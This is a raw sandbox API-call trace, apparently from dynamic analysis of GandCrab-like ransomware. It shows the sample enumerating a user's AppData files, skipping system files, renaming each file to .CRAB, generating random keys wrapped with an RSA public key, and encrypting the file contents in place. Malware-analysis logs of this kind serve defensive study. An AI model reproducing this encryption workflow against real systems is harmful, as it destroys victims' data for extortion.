	[0109.429] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.429] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.433] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.433] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.433] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.433] CloseHandle (hObject=0x3ec) returned 1
	[0109.435] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.436] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.436] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.436] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.436] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.437] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.437] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.437] lstrcmpW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2=".") returned 1
	[0109.437] lstrcmpW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="..") returned 1
	[0109.437] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ES FtTu75TP_viPEIbW.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi"
	[0109.437] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.437] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi") returned 61
	[0109.437] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi") returned 61
	[0109.437] lstrlenW (lpString=".avi") returned 4
	[0109.437] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.438] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0109.438] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.438] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi") returned 61
	[0109.438] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi") returned 61
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="desktop.ini") returned 1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="autorun.inf") returned 1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="ntuser.dat") returned -1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="iconcache.db") returned -1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="bootsect.bak") returned 1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="boot.ini") returned 1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="ntuser.dat.log") returned -1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="thumbs.db") returned -1
	[0109.438] lstrcmpiW (lpString1="ES FtTu75TP_viPEIbW.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.438] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.439] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB") returned 66
	[0109.439] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\es fttu75tp_vipeibw.avi")) returned 0x20
	[0109.439] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi", dwFileAttributes=0x20) returned 1
	[0109.440] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\es fttu75tp_vipeibw.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\es fttu75tp_vipeibw.avi.crab")) returned 1
	[0109.441] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.441] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB"
	[0109.441] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB.CRAB"
	[0109.441] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0109.442] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.442] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.442] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.442] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.443] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.443] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0109.443] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.444] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.444] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.444] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0109.444] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.444] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.444] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.445] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0109.445] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80de0) returned 1
	[0109.445] CryptGetKeyParam (in: hKey=0xd80de0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.445] CryptEncrypt (in: hKey=0xd80de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.446] GetLastError () returned 0x0
	[0109.446] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0109.446] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0109.446] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80860) returned 1
	[0109.446] CryptGetKeyParam (in: hKey=0xd80860, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.446] CryptEncrypt (in: hKey=0xd80860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.447] GetLastError () returned 0x0
	[0109.447] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.447] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ES FtTu75TP_viPEIbW.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\es fttu75tp_vipeibw.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.447] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.448] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.448] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0xc082, lpOverlapped=0x0) returned 1
	[0109.460] VirtualAlloc (lpAddress=0x0, dwSize=0xc090, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.461] VirtualAlloc (lpAddress=0x0, dwSize=0xc090, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.463] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.463] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff3f7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.464] WriteFile (in: hFile=0x3ec, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0xc090, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x314c9b4*=0xc090, lpOverlapped=0x0) returned 1
	[0109.464] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.464] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.468] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.468] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.468] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.468] CloseHandle (hObject=0x3ec) returned 1
	[0109.515] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.516] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.516] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.516] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.516] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.517] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.517] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.517] lstrcmpW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2=".") returned 1
	[0109.517] lstrcmpW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="..") returned 1
	[0109.517] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="f8jDR2JrBEP0JYZ8S.avi" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi"
	[0109.517] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.517] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi") returned 59
	[0109.517] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi") returned 59
	[0109.517] lstrlenW (lpString=".avi") returned 4
	[0109.517] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.518] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".avi ") returned 5
	[0109.518] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.518] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi") returned 59
	[0109.518] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi") returned 59
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="desktop.ini") returned 1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="autorun.inf") returned 1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="ntuser.dat") returned -1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="iconcache.db") returned -1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="bootsect.bak") returned 1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="boot.ini") returned 1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="ntuser.dat.log") returned -1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="thumbs.db") returned -1
	[0109.518] lstrcmpiW (lpString1="f8jDR2JrBEP0JYZ8S.avi", lpString2="CRAB-DECRYPT.txt") returned 1
	[0109.518] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.518] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB") returned 64
	[0109.519] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\f8jdr2jrbep0jyz8s.avi")) returned 0x20
	[0109.519] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi", dwFileAttributes=0x20) returned 1
	[0109.519] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\f8jdr2jrbep0jyz8s.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\f8jdr2jrbep0jyz8s.avi.crab")) returned 1
	[0109.520] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0109.520] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB"
	[0109.520] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB.CRAB"
	[0109.520] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0109.521] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.521] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.521] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.521] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0109.521] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.521] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.522] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0109.522] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0109.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0109.523] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0109.523] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0109.523] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0109.523] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.523] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0109.523] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0109.523] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0109.524] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd807e0) returned 1
	[0109.524] CryptGetKeyParam (in: hKey=0xd807e0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.524] CryptEncrypt (in: hKey=0xd807e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0109.524] GetLastError () returned 0x0
	[0109.524] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.525] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0109.525] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0xd80ca0) returned 1
	[0109.525] CryptGetKeyParam (in: hKey=0xd80ca0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0109.525] CryptEncrypt (in: hKey=0xd80ca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0109.526] GetLastError () returned 0x0
	[0109.526] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.526] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\f8jDR2JrBEP0JYZ8S.avi.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\f8jdr2jrbep0jyz8s.avi.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.526] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.526] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.527] ReadFile (in: hFile=0x3ec, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314c9c4*=0x1423b, lpOverlapped=0x0) returned 1
	[0109.546] VirtualAlloc (lpAddress=0x0, dwSize=0x14240, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.547] VirtualAlloc (lpAddress=0x0, dwSize=0x14240, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0109.550] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.550] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffebdc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.550] WriteFile (in: hFile=0x3ec, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x14240, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314c9b4*=0x14240, lpOverlapped=0x0) returned 1
	[0109.551] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.551] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.555] WriteFile (in: hFile=0x3ec, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.555] WriteFile (in: hFile=0x3ec, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0109.555] WriteFile (in: hFile=0x3ec, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0109.555] CloseHandle (hObject=0x3ec) returned 1
	[0109.557] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.558] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.558] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.558] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.558] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.559] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.559] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.559] lstrcmpW (lpString1="Identities", lpString2=".") returned 1
	[0109.559] lstrcmpW (lpString1="Identities", lpString2="..") returned 1
	[0109.559] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Identities" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities"
	[0109.559] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Identities\\"
	[0109.559] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.559] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
